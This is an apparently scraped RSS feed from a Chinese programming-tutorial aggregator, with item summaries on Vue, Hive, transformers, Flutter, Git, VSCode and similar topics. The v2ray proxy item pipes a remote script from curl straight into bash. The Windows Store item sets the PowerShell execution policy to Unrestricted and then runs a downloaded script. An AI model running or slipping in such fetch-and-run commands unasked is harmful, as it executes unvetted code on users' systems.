      <description>(vue)vue项目Error: Cannot find module ‘xxx’类报错的解决方法 现发现只要是报错 Error: Cannot find module ‘xxx’（例如 Error: Cannot find module ‘webpack’）这类的问题都可以用下面的方法解决。&#xA;internal/modules/cjs/loader.js:583 [app-scripts] throw err; [app-scripts] ^ [app-scripts] [app-scripts] Error: Cannot find module &#39;balanced-match&#39; [app-scripts] at Function.Module._resolveFilename (internal/modules/cjs/loader.js:581:15) [app-scripts] at Function.Module._load (internal/modules/cjs/loader.js:507:25) [app-scripts] at Module.require (internal/modules/cjs/loader.js:637:17) [app-scripts] at require (internal/modules/cjs/helpers.js:20:18) [app-scripts] at Object. (/home/manoj/Downloads/phonelogin/node_modules/brace-expansion/index.js:2:16) [app-scripts] at Module._compile (internal/modules/cjs/loader.js:689:30) [app-scripts] at Object.Module._extensions..js (internal/modules/cjs/loader.js:700:10) [app-scripts] at Module.load (internal/modules/cjs/loader.js:599:32) [app-scripts] at tryModuleLoad (internal/modules/cjs/loader.js:538:12) [app-scripts] at Function.Module._load (internal/modules/cjs/loader.js:530:3) 解决问题的方式是：</description>
    </item>
    <item>
      <title>HiveServer2 简单用户/密码身份验证</title>
      <link>https://bchobby.github.io/posts/9dd351fe4c81d48e5cb785f6ac108cf7/</link>
      <pubDate>Wed, 28 Sep 2022 14:59:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dd351fe4c81d48e5cb785f6ac108cf7/</guid>
      <description>前言 Hive 通过HiveServer2对外提供服务,HiveServer2 是一种能使客户端执行 Hive 查询的服务。HiveServer2 是 HiveServer1 的改进版，HiveServer1 已经被废弃。HiveServer2 对 HiveServer 进行了重写来解决上述问题。&#xA;HiveServer2 作为复合服在单个进程中运行，其中包括基于 Thrift 的 Hive 服务（TCP或HTTP）以及用于 Web UI的 Jetty Web 服务。HiveServer2 可以支持多客户端并发和身份认证。旨在为开放API客户端（如JDBC和ODBC）提供更好的支持。&#xA;架构 HiveServer2 实现了一个新的基于 Thrift 的 RPC 接口，该接口可以处理客户端并发请求。当前版本支持 Kerberos，LDAP 以及自定义可插拔身份验证。新的 RPC 接口也是 JDBC 和 ODBC 客户端更好的选择，尤其是对于元数据访问。&#xA;hive身份认证的三种方式 NONE：即不做身份校验；&#xA;LDAP: 使用基于 LDAP/AD 的用户身份校验；&#xA;KERBEROS: 使用 Kerberos/GSSAPI 做身份校验；&#xA;CUSTOM:自定义认证&#xA;针对当前简单应用场景,采用CUSTOM就可满足&#xA;配置CUSTOM身份认证流程 1.首先需要编写用户权限验证的类&#xA;import org.apache.hadoop.conf.Configurable; import org.apache.hadoop.hive.conf.HiveConf; import org.apache.hive.service.auth.PasswdAuthenticationProvider; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.apache.hadoop.conf.Configuration; import javax.security.sasl.AuthenticationException; /** * @author liguiping * @version 1.</description>
    </item>
    <item>
      <title>transformers本地加载roberta模型pytorch</title>
      <link>https://bchobby.github.io/posts/51ec1efa558a490937ab6a26482e0095/</link>
      <pubDate>Wed, 28 Sep 2022 12:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51ec1efa558a490937ab6a26482e0095/</guid>
      <description>本地加载roberta-base模型文件，roberta-large同理，&#xA;只不过hidden_size从768变为1024，&#xA;在该网站下载模型文件： roberta-base at main (huggingface.co)&#xA;所需的有 config.json, merges.txt, pytorch_model.bin(下载后重命名), vocab.json&#xA;路径组织结构：&#xA;└─model&#xA;│ merges.txt&#xA;│ vocab.json&#xA;│ └─roberta-base&#xA;config.json&#xA;pytorch_model.bin&#xA;此处transformers版本是2.11.0，&#xA;不同版本的transformers里import的用法可能不同，所以强调了版本，&#xA;可针对自己的版本去看官方文档&#xA;from transformers import RobertaTokenizer vocab_file = &#39;model/vocab.json&#39; merges_file = &#39;model/merges.txt&#39; tokenizer = RobertaTokenizer(vocab_file, merges_file) RobertaTokenizer 和 BertTokenizer 处理数据时不一样，&#xA;Roberta模型没有token_type_ids，也就是segment_ids&#xA;还有 Bert 的数据格式是&#xA;pair of sequences: [CLS] A [SEP] B [SEP]&#xA;Roberta 的则是&#xA;pair of sequences: &amp;lt;s&amp;gt; A &amp;lt;/s&amp;gt;&amp;lt;/s&amp;gt; B &amp;lt;/s&amp;gt;&#xA;参见：RobertaTokenizer中的build_inputs_with_special_tokens 与 BertTokenizer中的build_inputs_with_special_tokens&#xA;from transformers.</description>
    </item>
    <item>
      <title>Flutter入门-组件学习</title>
      <link>https://bchobby.github.io/posts/1dfda36e08577abca71dd12efdeb9d58/</link>
      <pubDate>Wed, 28 Sep 2022 12:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dfda36e08577abca71dd12efdeb9d58/</guid>
      <description>基础组件 TextButton ElevatedButton，漂浮按钮，默认有背景颜色、阴影效果，按下后阴影会变大。TextButton，文本按钮，就是可点击的文本。默认背景透明、不带阴影，按下后会有背景色。OutlineButton，边框按钮，默认有一个边框、背景透明、不带阴影，按下后边框颜色会变亮、出现背景（弱）、阴影（弱）。IconButton，图标按钮，没有文字，默认没有背景，点击会出现背景。FloatingActionButton，悬浮按钮自定义Button，所有的按钮都是直接或间接对RawMaterialButton组件的包装定制。说明：ElevatedButton、TextButton、OutlineButton都可以添加icon。 ImageDialogDate表单组件 TextFieldCheckbox、CheckboxListTileRadio、RadioListTileSwitch Text 查看源代码&#xA;示例1&#xA;const Text(&#34;hello world&#34;) 示例2&#xA;const Text( &#34;hello world&#34;, maxLines: 3, textAlign: TextAlign.center, style: TextStyle(color: Colors.black), ), Button 查看源代码&#xA;示例1&#xA;ElevatedButton( onPressed: () {}, style: ButtonStyle( //背景颜色 backgroundColor: MaterialStateProperty.all(Colors.red), //字体颜色 foregroundColor: MaterialStateProperty.all(Colors.white), //阴影颜色 shadowColor: MaterialStateProperty.all(Colors.blue), //阴影大小 elevation: MaterialStateProperty.all(20.0), //按钮圆角 shape: MaterialStateProperty.all( RoundedRectangleBorder(borderRadius: BorderRadius.circular(10)), )), child: const Text(&#34;按钮&#34;), ), 示例2&#xA;TextButton( onPressed: () {}, child: const Text(&#34;按钮&#34;), ), 示例3&#xA;OutlinedButton( onPressed: () {}, style: ButtonStyle( //字体颜色 foregroundColor: MaterialStateProperty.</description>
    </item>
    <item>
      <title>为自己的服务器搭建代理</title>
      <link>https://bchobby.github.io/posts/d03aefa5fad78d3f9311e266a9ddee5c/</link>
      <pubDate>Wed, 28 Sep 2022 11:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d03aefa5fad78d3f9311e266a9ddee5c/</guid>
      <description>在自己服务器上执行下列命令，可以执行搭建过程&#xA;bash &amp;lt;(curl -s -L https://git.io/v2ray.sh) 但由于网络原因，一些服务器访问不到上面的链接，所以&#xA;解决方法： 在本地下载v2ray.sh，xftp到服务器上 执行bash v2ray.sh 后续步骤： 安装 -&amp;gt; TCP -&amp;gt; 端口号 -&amp;gt; N&#xA;客户端 这里填入的ip不同是因为用的局域网内的机子，并非真实的服务器</description>
    </item>
    <item>
      <title>ApacheJames3.7.1&#43;mysql 配置安装</title>
      <link>https://bchobby.github.io/posts/d44a9e3528f0c930aba3cd8afd8b63ec/</link>
      <pubDate>Wed, 28 Sep 2022 11:14:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d44a9e3528f0c930aba3cd8afd8b63ec/</guid>
      <description>1、下载地址：Index of /dist/james/server/3.7.1https://archive.apache.org/dist/james/server/3.7.1/&#xA;(1)下载并解压：&#xA;wget ​​​​​​https://archive.apache.org/dist/james/server/3.7.1/james-server-app-3.7.1-app.zip&#xA;uzip james-server-app-3.7.1-app.zip&#xA;(2)添加邮箱后缀[注意：如果是在本地模拟则需在hosts中做域名映射，否则会出现意想不到的问题]&#xA;vim ../conf/domainlist.xml 2.1 autodetect、autodetectIP 值为false，不自动获取domain与IP，而使用下面设置的指定邮箱后缀 2.2 defaultDomain 值为你的邮箱后缀。如需处理多个邮箱后缀的邮件，则需加一个 &amp;lt;domainnames&amp;gt;节点，并将其他邮箱后缀添加到子节点domainname中即可： &amp;lt;defaultDomain&amp;gt;develop.com &amp;lt;/defaultDomain&amp;gt; &amp;lt;domainnames&amp;gt; &amp;lt;domainname&amp;gt;develop1.com &amp;lt;/domainname&amp;gt; &amp;lt;domainname&amp;gt;develop2.com &amp;lt;/domainname&amp;gt; &amp;lt;/domainnames&amp;gt; (3)进入bin目录并启动服务 cd james-server-app-3.1.0/bin/ sh run.sh (4)项目启动一会后，出现下面内容即为启动成功： INFO xx:xx:xx,xxx | org.apache.james.app.spring.JamesAppSpringMain | Apache James Server is successfully started in xxxxxx milliseconds.&#xA;备注：&#xA;nested exception is java.net.UnknownHostException: xxx:xxx：将 xxx 添加映射到 /etc/hosts 后重启即可.&#xA;2、mysql数据库配置：&#xA;1、docker启动一个mysql实例，我用的是5.7&#xA;docker run --name myjames -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=data@1234 mysql:5.7&#xA;2、mysql驱动放到lib目录下：/james-server-spring-app-3.7.1/lib 下</description>
    </item>
    <item>
      <title>vue实战-面包屑的处理</title>
      <link>https://bchobby.github.io/posts/d0c406dc587d15db36f578c8ebd9b9f5/</link>
      <pubDate>Wed, 28 Sep 2022 10:55:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0c406dc587d15db36f578c8ebd9b9f5/</guid>
      <description>vue实战-面包屑的处理 1.面包屑处理分类操作 在Search路由模块下&#xA;通过v-if来确定面包屑的存在，设置点击事件处理删除面包屑后的情况&#xA;&amp;lt;ul class=&#34;fl sui-tag&#34;&amp;gt; &amp;lt;li class=&#34;with-x&#34; v-if=&#34;searchParams.categoryName&#34;&amp;gt;{{searchParams.categoryName}}&amp;lt;i @click=&#34;removeCategoryName&#34;&amp;gt;×&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; 点击事件方法&#xA;removeCategoryName(){ //点击x的时候将searchParams中的categoryName的值清空, //由于name清空了，可是它的id还在，所以也需要将它的id给清空 //为了给仓库减负，就是不输出空的暂时用不上的属性值，不将这些值变为空字符而是undefined， //这样就不会返回数据到仓库中了。 this.searchParams.categoryName = undefined this.searchParams.category1Id = undefined this.searchParams.category2Id = undefined this.searchParams.category3Id = undefined //并且重新派发告诉服务器数据变化 this.getData() //更新数据后，路由跳转也需要更改 //这里指右边三级联动的query需要删除，而如果存在parama参数需要保留 if(this.$route.params){ this.$router.push({name:&#39;search&#39;,params:this.$route.params}) } } 2.面包屑中的关键字处理 组件通信：&#xA;1.props：父子&#xA;2.自定义事件：子父&#xA;3.vuex：仓库数据，万能&#xA;4.插槽：父子&#xA;5.pubsub-js：万能&#xA;6.$bus:全局事件总线&#xA;同样在Search路由模块下&#xA;通过v-if来确定面包屑的存在，设置点击事件处理删除面包屑后的情况&#xA;&amp;lt;!-- 搜索关键字面包屑 --&amp;gt; &amp;lt;li class=&#34;with-x&#34; v-if=&#34;searchParams.keyword&#34;&amp;gt;{{searchParams.keyword}}&amp;lt;i @click=&#34;removeKeyword&#34;&amp;gt;×&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt; 点击事件的方法&#xA;removeKeyword(){ //与处理分类操作相同 this.searchParams.keyword = undefined this.getData() //但是这样是Search组件中的keyword为undefined了，可是Header组件中的keyword还是存在 //所以需要将Header中的keyword的值也清空。 //Search与Header组件之间是兄弟组件,使用全局事件总线$bus来传递。 //去$bus中获取触发Header组件绑定的事件 this.$bus.$emit(&#39;clear&#39;) //同样的，由于点击删除面包屑路由跳转要恢复，要考虑到三级分类的query参数存在时 //应该保留 if(this.</description>
    </item>
    <item>
      <title>【路径规划-机器人栅格地图】基于哈里斯鹰算法求解栅格地图路径规划及避障含Matlab源码</title>
      <link>https://bchobby.github.io/posts/7a741a88d6356ed108671596670afb4a/</link>
      <pubDate>Wed, 28 Sep 2022 08:41:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a741a88d6356ed108671596670afb4a/</guid>
      <description>✅作者简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，matlab项目合作可私信。&#xA;🍎个人主页：Matlab科研工作室&#xA;🍊个人信条：格物致知。&#xA;更多Matlab仿真内容点击👇&#xA;智能优化算法 神经网络预测 雷达通信 无线传感器&#xA;信号处理 图像处理 路径规划 元胞自动机 无人机&#xA;⛄ 内容介绍 静态环境中的移动机器人全局路径规划是路径规划中的一个重要问题,本文采用哈里斯鹰解决移动机器人的路径规划.该方法首先采用栅格法环境建模,采用哈里斯鹰算法规划机器人路径,最后用MAT-LAB来实现算法,仿真后,观察路径,得出最终结果.&#xA;⛄ 部分代码 function [BestFitness, gbest, zz] = GWO(N, maxgen, X, fitness, lb, ub, dim, fobj)&#xA;%% [bestfitness, bestindex] = sort(fitness);&#xA;gbest = X(bestindex(1), :); % 群体最优极值&#xA;fitnessgbest = bestfitness(1); % 种群最优适应度值&#xA;% 初始化alpha, beta和delta_pos&#xA;Alpha_pos = gbest;&#xA;Alpha_score = fitnessgbest; Beta_pos = X(bestindex(2), :);&#xA;Beta_score = bestfitness(2); Delta_pos = X(bestindex(3), :);&#xA;Delta_score = bestfitness(3); %% 初始结果显示</description>
    </item>
    <item>
      <title>超级安全！Python 合成多张图片到PDF格式</title>
      <link>https://bchobby.github.io/posts/78a178e90129b9b1f4f07f7b294656c9/</link>
      <pubDate>Tue, 27 Sep 2022 20:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78a178e90129b9b1f4f07f7b294656c9/</guid>
      <description>在日常生活中，经常会遇到需要提交身份证正反面证明资料的情况，而且这些网站大部分只接受pdf格式，这时候我们就需要把身份证正反面两张图片合成为一个pdf文件。&#xA;在macOS系统下，预览软件可以轻松做到这一点，同时打开图片到一个预览窗口下，点击导出PDF就能成功导出。但是Windows系统就没有这么方便的软件可以实现这一点，网上有很多合成PDF的网站，但是这些网站无一例外需要上传PDF进行合成，个人认为非常地不安全。&#xA;因此，最安全的方法，还是我们自己写一个Python脚本实现合成功能。&#xA;1.准备&#xA;开始之前，你要确保Python和pip已经成功安装在电脑上，如果没有，可以访问这篇文章：超详细Python安装指南 进行安装。&#xA;(可选1) 如果你用Python的目的是数据分析，可以直接安装Anaconda：Python数据分析与挖掘好帮手—Anaconda，它内置了Python和pip.&#xA;(可选2) 此外，推荐大家用VSCode编辑器，它有许多的优点：Python 编程的最好搭档—VSCode 详细指南。&#xA;请选择以下任一种方式输入命令安装依赖：&#xA;1. Windows 环境 打开 Cmd (开始-运行-CMD)。&#xA;2. MacOS 环境 打开 Terminal (command+空格输入Terminal)。&#xA;3. 如果你用的是 VSCode编辑器 或 Pycharm，可以直接使用界面下方的Terminal.&#xA;pip install pillow 2.合成原理&#xA;Pillow模块，即PIL：Python Imaging Library，已经是Python平台事实上的图像处理标准库了。PIL功能非常强大，但API却非常简单易用。通过它，我们能很轻松地操作图像，并导出为不同格式。&#xA;首先来一个简单的示例，我们将打开一张图片，并将其保存为pdf格式：&#xA;from PIL import Image import os def convert_img_pdf(filepath, output_path): &#34;&#34;&#34; 转换图片为pdf格式 Args: filepath (str): 文件路径 output_path (str): 输出路径 &#34;&#34;&#34; output = Image.open(filepath) output.save(output_path, &#34;pdf&#34;, save_all=True) if __name__ == &#34;__main__&#34;: convert_img_pdf(&#34;1.jpeg&#34;, &#34;./test.pdf&#34;) 随便使用一张图片测试一下：</description>
    </item>
    <item>
      <title>一文了解异步编程基础</title>
      <link>https://bchobby.github.io/posts/a49f5c4aad4778f33541df6bdd9cb167/</link>
      <pubDate>Tue, 27 Sep 2022 19:41:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a49f5c4aad4778f33541df6bdd9cb167/</guid>
      <description>什么是异步编程？ 异步编程是指并发编程的范式，其中除了单个主应用程序线程之外，工作可以委托给一个或多个并行工作线程。这被称为非阻塞系统，其中整体系统速度不受订单执行的影响，并且多个进程可以同时发生。&#xA;函数从 API 获取数据需要时间。设计异步编程是为了适应调用函数到返回该函数的值之间的延迟。让我们通过一个例子来理解这一点 -&#xA;如果您要创建一个天气应用程序，您可能希望从一个外部 API 获取城市的温度，并从另一个 API 获取风速或降雨可能性。在同步设置中，这将以顺序方式发生，其中第二个 API 请求仅在第一个 API 请求成功完成时发出。随着请求数量的增加，这种延迟会不断增加，从而导致糟糕的用户体验。异步代码允许您以非阻塞方式实现上述内容，以便可以在等待第一个请求完成之前启动第二个请求。&#xA;Python 在 Python 3.5 中使用 async/await 语法引入了对异步代码的支持。需要明确的是，Python 采用了单线程、单进程的设计，只给人一种并行的印象，可以称为“协同多任务”。&#xA;异步编程允许用户在应用程序中进行他的业务，而进程在后台运行，从而增强了用户体验。&#xA;异步编程的工作原理 了解异步编程如何工作的最简单方法是将其与同步编程进行比较。现在来看一个同步编程的例子。&#xA;同步编程 同步编程遵循着严格的顺序。当代码在同步程序中运行时，它将遵循算法的每一步。它按顺序执行此操作，并将等待当前操作完成，然后再继续下一个操作。&#xA;同步编程遵循“做蛋糕”算法：&#xA;计算原料重量混合面粉、鸡蛋和糖加热烤箱并烘烤吃蛋糕 每一步都必须按顺序进行。在烘烤混合物之前，必须测量原料，必须混合混合物。而且，要尝起来像蛋糕，应该在吃之前先烤好。因为只有一个人在做所有的工作，所以在开始下一个任务之前，您必须完全完成一项任务。同步编程具有单轨思想。它一步一步地遵循指南。&#xA;# -*- coding: utf-8 -*- &#34;&#34;&#34; 同步编程：做蛋糕 &#34;&#34;&#34; import threading import time from threading import RLock def Measure(): print(&#34;Measure the ingredients.&#34;) def Mix(): print(&#34;Mix flour, eggs, and sugar.&#34;) def Bake(): print(&#34;Bake Cake&#34;) def Eat(): print(&#34;Eat your cake&#34;) def main(): measure = threading.</description>
    </item>
    <item>
      <title>从私有Git仓库的搭建到命令的使用再到分支管理，全流程全套服务包您满意</title>
      <link>https://bchobby.github.io/posts/c2f4da97c482844e8ea019222765fdc6/</link>
      <pubDate>Tue, 27 Sep 2022 16:29:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2f4da97c482844e8ea019222765fdc6/</guid>
      <description>您好，我是码农飞哥，感谢您阅读本文，欢迎一键三连哦。&#xA;💪🏻 1. Python基础专栏，基础知识一网打尽，9.9元买不了吃亏，买不了上当。 Python从入门到精通&#xA;❤️ 2. Python爬虫专栏，系统性的学习爬虫的知识点。9.9元买不了吃亏，买不了上当，持续更新中 。python爬虫入门进阶&#xA;❤️ 3. Ceph实战，从原理到实战应有尽有。 Ceph实战&#xA;❤️ 4. Java高并发编程入门，打卡学习Java高并发。 Java高并发编程入门&#xA;😁 5. 社区逛一逛，周周有福利，周周有惊喜。码农飞哥社区，飞跃计划&#xA;全网同名【码农飞哥】欢迎关注，个人VX: wei158556&#xA;文章目录 1. Git是什么？2. Git与SVN的比较3. 系统环境4. 安装Git客户端Linux系统下 Windows系统下5.本地版本库操作创建本地版本库工作区和暂存区管理修改删除文件 5.Ubuntu搭建私有的git仓库GitLab的使用添加用户添加团队新建远程仓库 SSH key的配置（生成公钥和私钥） 6. 分支管理创建与合并分支1. 创建dev分支2. 查看所有分支3. 分支合并 解决冲突比较差异分支管理策略Bug分支保存工作现场查看工作现场恢复工作现场删除工作现场恢复并删除工作现场合并某一次的提交 feature分支远程仓库（多人协作）本地仓库关联远程仓库第一次先拉取远程库中的README.md和.gitignore等文件克隆远程仓库删除远程Git仓库查看远程分支推送分支创建远程分支拉取分支关联本地分支和远程分支拉取远程分支并创建本地分支删除远程分支查看分支版本回退将多次提交合并成一次提交分支重命名 7. 标签管理回滚某次提交 总结 1. Git是什么？ Git是一款开源的分布式版本控制系统，可以有效，高速处理从很小到非常大的项目版本管理。 Git是通过C语言开发实现的。&#xA;2. Git与SVN的比较 Git和SVN是两种截然不同的版本控制系统，Git是分布式版本控制系统，而SVN则是集中式版本控制系统。要想比较Git和SVN的区别，首先需要了解分布式版本控制系统和集中式版本控制系统的基本概念。&#xA;集中式版本控制系统：一个显著的特征是版本库是存放在中央服务器上的，由中央服务器统一管理项目的版本信息和分支信息。团队中的每个成员在工作时都需要先从中央服务器上拉取最新的代码，然后开始干活。干完活之后再将代码提交到中央服务器上。集中式版本服务器有两个弊端：&#xA;必须联网才能工作，当没有网络或者网络很差时，则团队中的成员无法协同工作。安全性不好，因为版本库存放在了中央服务器，当中央服务器损坏时则会丢失版本库，使所有成员都没法工作。 集中式版本控制系统的网络拓扑图如下图所示：&#xA;可以看出团队中所有成员的工作电脑都只与中央服务器打交道。如果把版本库比做书库的话，那么每个人（每个电脑）都需要先从书库借到书（拉取最新的代码），阅读完之后然后还给书库（修改之后提交到中央服务器）&#xA;分布式版本控制系统: 与集中式版本控制系统最大的不同是团队中所有成员的工作电脑上都有一个完整的版本库，并且没有中央服务器。,这就相当于团队中每个成员都有一个自己的小书库（版本库），成员之间可以互相交换自己书库中的图书（将自己的修改提交给对方）。这里完全不需要中央服务器来管理协调管理。&#xA;在实际使用分布式版本控制系统时，其实很少在两人之间的电脑上进行版本库推送，这是因为有时候你们不在同一个局域网内，或者你同事的电脑关机了。因此，分布式版本控制系统通常也有一台充当“中央服务器”的电脑，但这个服务器的作用仅仅是用来方便“交换”大家的修改，没有它大家也一样干活，只是交换修改不方便而已。这台充当“中央服务器”的电脑上的版本库称之为远程版本库，其他成员电脑上的版本库称之为本地版本库。后面会详细介绍。&#xA;分布式版本控制系统的网络拓扑图如下图所示：&#xA;分布式版本控制系统剔除了中央服务器，这充分体现了分布式的核心概念，就是去中心化。这样带来的好处有两点：&#xA;没有网络也能上班：团队中的每个成员在没有网络的情况下也能工作，因为本地有完整的版本库，不需要担心数据的丢失。数据更安全：当某个成员的电脑坏掉了不要紧，只需要从其他成员的电脑上复制一份即可。但是集中式版本控制系统的中央服务器出问题，则可能会丢失版本库，使得所有人都没法工作。 3. 系统环境 系统版本WindowsWindows10LinuxUbuntu16.04 4. 安装Git客户端 说完了Git的基本概念，接下来还是安装个Git客户端下来耍一耍。这里分不同的操作系统简单的介绍一下Git客户端的安装。&#xA;Linux系统下 首先通过git --version 命令查看电脑上是否已经安装了Git客户端。</description>
    </item>
    <item>
      <title>win10应用商店怎么重新安装？</title>
      <link>https://bchobby.github.io/posts/c14858df96022b6d6010c1b786cbb74f/</link>
      <pubDate>Tue, 27 Sep 2022 13:51:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c14858df96022b6d6010c1b786cbb74f/</guid>
      <description>应用商店是用户经常下载应用的地方，类似于手机上自带的应用商城，有时候可能会不小心把系统上的应用商店删除掉，这要如何恢复呢？下面小编就带来win10应用商店的重装方法，有需要的用户可以尝试操作。&#xA;1、下载 Reinstall-preinstalledApps.zip 文件，并解压到你能找到的目录下，比如&#xA;C：\Users\Administrator\Downloads&#xA;2、我们点击win10桌面下的任务栏，找到其中的搜索框，输入“powershell”然后点击最佳匹配项，右键以管理员身份运行Windows Powershell组件。注意不是CMD，并输入：&#xA;Set-ExecutionPolicy Unrestricted&#xA;按Y确定，更改脚本执行策略。&#xA;3、继续输入：&#xA;C：\Users\Administrator\Downloads\reinstall-preinstalledApps.ps1 *Microsoft.WindowsStore*&#xA;4、待安装完成之后，WIN+R 打开 WSReset.exe 重置应用商店。&#xA;5、还原执行策略：&#xA;Set-ExecutionPolicy AllSigned&#xA;更多内容请关注系统部落。</description>
    </item>
    <item>
      <title>VSCode安装配置使用教程（最新版超详细保姆级含插件）一文就够了</title>
      <link>https://bchobby.github.io/posts/c09496f7bf1dfc35cd7e5141fee3a5f6/</link>
      <pubDate>Tue, 27 Sep 2022 12:44:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c09496f7bf1dfc35cd7e5141fee3a5f6/</guid>
      <description>前言 Visual Studio Code 是一个轻量级功能强大的源代码编辑器，支持语法高亮、代码自动补全（又称 IntelliSense）、代码重构、查看定义功能，并且内置了命令行工具和 Git 版本控制系统。适用于 Windows、macOS 和 Linux。它内置了对 JavaScript、TypeScript 和 Node.js 的支持，并为其他语言和运行时（如 C++、C#、Java、Python、PHP、Go、.NET）提供了丰富的扩展生态系统。为了不影响读者的沉浸式阅读学习，如需使用目录请在左侧使用即可。&#xA;VSCode的下载 通过前言我们已经大致了解到了VSCode的强大之处，现在开始步入正题。&#xA;进入VSCode官方的下载页，根据系统需求选择相对应的下载地址。&#xA;官方下载页面---&amp;gt;：VSCode官方下载页面链接，选择自己系统对应的下载链接。&#xA;对于Windows下载标绿文本的解释&#xA;文本文本解释 User Installer&#xA;默认安装在当前计算机帐户目录，如果使用另一个帐号登陆计算机将无法使用别人安装的vscode。vscode默认提供的为User InstallerSystem Installer安装在非用户目录,例如C盘根目录,任何帐户都可以使用。 关于具体下载哪个版本我进行了大量的调研，发现网络上大部分的教程都是选择的VSCode默认提供的User Installer版本。但是对于我们实际和真正的开发，以及我们对于系统文件的管理难易度上来讲我更推荐System Installer版本，它可以自定义安装路径，使其我们后期对于它的管理十分方便。&#xA;VSCode的安装 此处我选择了System Installer版本，原因无它，因为它可以自定义安装路径，使其我们后期对于它的管理十分方便，我也十分建议你选择此版本安装。&#xA;同意协议 选择同意协议，点击下一步&#xA;选择安装位置 选择安装位置，单击浏览按需选择自己要设置的安装路径位置。然后点击下一步即可&#xA;注意：为了后期的稳定性，切勿使用中文路径。&#xA;选择开始菜单文件夹 如需修改，请点击浏览进行设置，无需修改直接单击下一步即可&#xA;选择附加任务 按需选择自己需要的附加任务，这里我推荐将其他中的所有选项都勾选上，对于创建桌面方式则按需选择是否勾选，我这里因为不需要所以就不勾选了。&#xA;设置完毕最后单击下一步&#xA;注意：添加到PATH一定要勾选，很重要。&#xA;准备安装 确认自己前面设置的是否有误，无误则点击安装即可&#xA;安装完成 如果你看到如下界面，那么恭喜你，你的VSCode安装完成。&#xA;VSCode基础配置 VSCode界面简介 VS Code 采用通用的用户界面和左侧的资源管理器布局，显示您可以访问的所有文件和文件夹，右侧的编辑器显示您打开的文件的内容。&#xA;关于对上图界面的区域解释：&#xA;区块颜色区块名称区块作用红色活动栏位于最左侧，可让您在视图之间切换，并为您提供额外的特定于上下文的指标，例如启用 Git 时传出更改的数量。绿色侧栏包含不同的视图，例如资源管理器，可在您处理项目时为您提供帮助。粉色 状态栏有关已打开项目和您编辑的文件的信息。紫色面板您可以在编辑器区域下方显示不同的面板，用于输出或调试信息、错误和警告或集成终端。面板也可以向右移动以获得更多垂直空间。白色 编辑区编辑文件的主要区域。您可以垂直和水平并排打开任意数量的编辑器。黄色 菜单栏进行VSCode的各项操作 VSCode设置中文界面 因为我们此时安装的VSCode还是英文界面，对于英语不是那么好的小伙伴不是十分友好，所以我们此时需要安装一个插件来对VSCode进行中文化处理。&#xA;活动栏简单介绍作用 编辑器打开的文件 全局搜索 Git管理 Debug 插件安装 用户登录 VSCode设置 经过如上对VSCode界面基本的了解，我们在活动栏区域找到插件安装这个选项，单击它，在搜索框中搜索Chinese 选择第一个即可，选择Install进行安装。</description>
    </item>
    <item>
      <title>python学习笔记--抓取静态网页数据以及分析数据</title>
      <link>https://bchobby.github.io/posts/4bd4e1e4556483d9ee8f4199d2ea3bd0/</link>
      <pubDate>Mon, 26 Sep 2022 23:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bd4e1e4556483d9ee8f4199d2ea3bd0/</guid>
      <description>抓取静态网页是最基础的爬虫技术，其实也就是获取网页的源代码，原理就是通过模仿用户通过浏览器访问网页的过程，想web服务器发出请求、服务器接收到请求并做出响应，最后返回源代码的过程。&#xA;这其中主要用到了Requests库，以百度为例：接收百度服务器返回的响应信息&#xA;import requests url = &#39;https://www.baidu.com/&#39; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0&#39; } response = requests.get(url,headers=headers) response.encoding = &#39;utf-8&#39; print(response.status_code) 这其中，url也就是网址，headers是请求头，请求头是防止某些服务器防止网络爬虫恶意抓取网页信息的防爬虫措施；response是根据url构造请求，发送GET请求，接收服务器返回的响应信息。&#xA;试一下爬百度的logo&#xA;import requests baidu_logo_url = &#39;https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png&#39; response = requests.get(baidu_logo_url) with open (&#39;baidu_logo.png&#39;,&#39;wb&#39;) as file: file.write(response.content)#获取图片的二进制数据 爬csdn的logo&#xA;import requests csdn_logo_url = &#39;https://img-home.csdnimg.cn/images/20201124032511.png&#39; response = requests.get(csdn_logo_url) with open (&#39;csdn_logo.png&#39;,&#39;wb&#39;) as file: file.write(response.content) 尝试爬取网页&#xA;import requests def load_page(url): &#39;&#39;&#39; 根据url发送请求，获取服务器返回的响应 :param url: 待抓取的url :return: &#39;&#39;&#39; headers = {&#34;</description>
    </item>
    <item>
      <title>Visual Studio 2022安装教程（千字图文详解），手把手带你安装运行VS2022以及背景图设置</title>
      <link>https://bchobby.github.io/posts/95bf6933edc3d738c27c0ebe46193ddb/</link>
      <pubDate>Mon, 26 Sep 2022 22:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95bf6933edc3d738c27c0ebe46193ddb/</guid>
